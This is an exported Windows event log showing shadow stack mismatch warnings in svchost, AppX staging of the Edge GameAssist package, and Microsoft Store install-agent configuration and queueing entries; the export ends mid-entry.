'\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf075fda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdae80, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf07690c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdae89, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf07606ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdaea8, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf07589fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fdaea0, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.982\t157\tThe app package signature was validated for core content of the app package published by CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US. Payload won't be validated until the files are read.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 09:07:28.985\t2006\t\"Checking interactive for install caller: setup-StartProductInstallWithOptionsAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (371)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.017\t216\tApp manifest validation warning: Declared namespace http://schemas.microsoft.com/developer/appx/2015/build is inapplicable, it will be ignored during manifest processing.\tWarning\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 09:07:29.020\t170\tThe streaming reader was created successfully for app package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 09:07:29.024\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_3.rslc for Stage Operation on Package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.025\t607\tDeployment Stage operation on package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.025\t854\tSuccessfully added the following uri(s) to be processed:  file:///C:/Program%20Files%20(x86)/Microsoft/Edge/Application/152.0.4191.66/edge_game_assist/EdgeGameAssist.msix.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.057\t221\tANALYZE command has run; database statistics are updated [Partition=1, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.063\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.063\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"setup-StartProductInstallWithOptionsAsync is in the disallow list, setting userInteractive = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (374)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"request: productId = 9NRZT3Q9R3DL, skuId = , catalogId = , flightId = , volumePath = , CV = Jiuk4NoDe0amEI4m.0, repair = false, userInteractive = false, allowDownloadOnAnyNetwork = false, forceUseOfNonRemovableStorage = false, allowForcedAppRestart = false, launchAfterInstall = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::_StartBundleProductInstallAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (5357)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.064\t2006\t\"[Telemetry]: InstallOperationRequest :: __TlgCV__ = Jiuk4NoDe0amEI4m.0 \u00a0ProductId = 9NRZT3Q9R3DL \u00a0SkuId =  \u00a0CatalogId =  \u00a0BundleId =  \u00a0VolumePath =  \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.065\t2006\t\"Creating InstallServiceWork StoreId = 9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: winrt::Windows::Internal::InstallService::Control::implementation::InstallServiceControl::CreateInstallServiceWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\windows.internal.installservice.control.installservicecontrol.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.066\t2006\t\"Creating work for InstallQueue2 CatalogId = StoreId:9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1524)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.066\t2006\t\"Queueing Work for Catalog Item\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1549)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.067\t2006\t\"[Start] Plugin available, Creating Work for Catalog Item\u00a0UserSID = S-1-5-18 \u00a0CatalogId = StoreId:9NRZT3Q9R3DL \u00a0properties = {\"\"UserIdentityInfo\"\":\"\"\"\",\"\"VolumePath\"\":\"\"\"\",\"\"CallerApplicationId\"\":\"\"setup-StartProductInstallWithOptionsAsync\"\",\"\"IsInteractive\"\":false,\"\"AllowDownloadOnAnyNetwork\"\":false,\"\"Repair\"\":false,\"\"AllowForcedAppRestart\"\":false,\"\"ForceUseOfNonRemovableStorage\"\":false,\"\"InstallForAllUsers\"\":true,\"\"StageButDoNotInstall\"\":false,\"\"CatalogId\"\":\"\"\"\",\"\"RequiresElevation\"\":false,\"\"LaunchAfterInstall\"\":false,\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWorkForCatalogItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1731)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"[End] Plugin available, Creating Work for Catalog Item\u00a0UserSID = S-1-5-18 \u00a0CatalogId = StoreId:9NRZT3Q9R3DL \u00a0properties = {\"\"UserIdentityInfo\"\":\"\"\"\",\"\"VolumePath\"\":\"\"\"\",\"\"CallerApplicationId\"\":\"\"setup-StartProductInstallWithOptionsAsync\"\",\"\"IsInteractive\"\":false,\"\"AllowDownloadOnAnyNetwork\"\":false,\"\"Repair\"\":false,\"\"AllowForcedAppRestart\"\":false,\"\"ForceUseOfNonRemovableStorage\"\":false,\"\"InstallForAllUsers\"\":true,\"\"StageButDoNotInstall\"\":false,\"\"CatalogId\"\":\"\"\"\",\"\"RequiresElevation\"\":false,\"\"LaunchAfterInstall\"\":false,\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::CreateWorkForCatalogItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (1731)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"Work already enqueued. Refusing to queue duplicate workCatalogId = PackageFamilyName:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2184)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"[Start] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.069\t2006\t\"[End] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.073\t2006\t\"Received checkpoint data updateItem = 9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::NotifyCheckpointChanged\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3602)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.073\t2006\t\"Raising State Change for Item = , InstallState = 12 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::FlushEventQueue\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3547)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.073\t2006\t\"[Telemetry]: FulfillmentInitiate :: ProductId = 9NRZT3Q9R3DL \u00a0PFN = Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0InstalledPFuN = (null) \u00a0CatalogId =  \u00a0FulfillmentPluginId = WU \u00a0PluginTelemetryData =  \u00a0PluginWorkCreationHr = 0 \u00a0ClientAppId = Acquisition;setup-StartProductInstallWithOptionsAsync \u00a0QueueItemsTotal = 1 \u00a0QueueItemsWorking = 0 \u00a0QueueItemsPending = 0 \u00a0QueueItemsIdle = 1 \u00a0QueueOpenSlots = 3 \u00a0__TlgCV__ = Jiuk4NoDe0amEI4m.0.2 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.074\t2006\t\"Queue State: Working = 0, Pending = 0, Idle = 1 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_FindNextPendingItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (4794)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.075\t2006\t\"Queue State: Working = 0, Pending = 0, Idle = 1 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_FindNextPendingItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (4794)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:29.076\t221\tANALYZE command has run; database statistics are updated [Partition=2, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.077\t2152\tInstall progress state changed for package:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe to state:12.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 09:07:29.083\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.087\t617\tSuccessfully updated the status for package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe and user S-1-5-18 (Clear=0x10000C00, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.087\t400\tDeployment Stage operation with target volume C: on Package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe from:  (EdgeGameAssist.msix)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.104\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:07:29.111\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:07:29.114\t613\t\"Performance summary of Deployment Stage operation on Package Microsoft.Edge.GameAssist_1.0.4019.0_x64__8wekyb3d8bbwe: \nOverall time: 171 ms (Active time: 171 ms)\nEnqueue cost: 78 ms\nDequeue delay: 0 ms\nBundle processing cost: 0 ms\nIndexing cost: 0 ms\nResolve dependency cost: 0 ms\nCheck approval cost: 15 ms\nEvaluation cost: 0 ms\nHardlinking evaluation cost: 0 ms\nStage required cost: 0 ms\nFlushing and closing files cost: 0 ms\nMachine register cost: 0 ms\nStage user data cost: 0 ms\nRegistration cost: 0 ms\nRepository commit transaction cost: 47 ms\nData flush cost: 0 ms\nPost DeStage repository commit transaction cost: 31 ms\nRemaining cost: 0 ms\n\"\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:29.115\t603\tStarted deployment ProvisionPackageOperation operation on a package with main parameter Microsoft.Edge.GameAssist_8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment 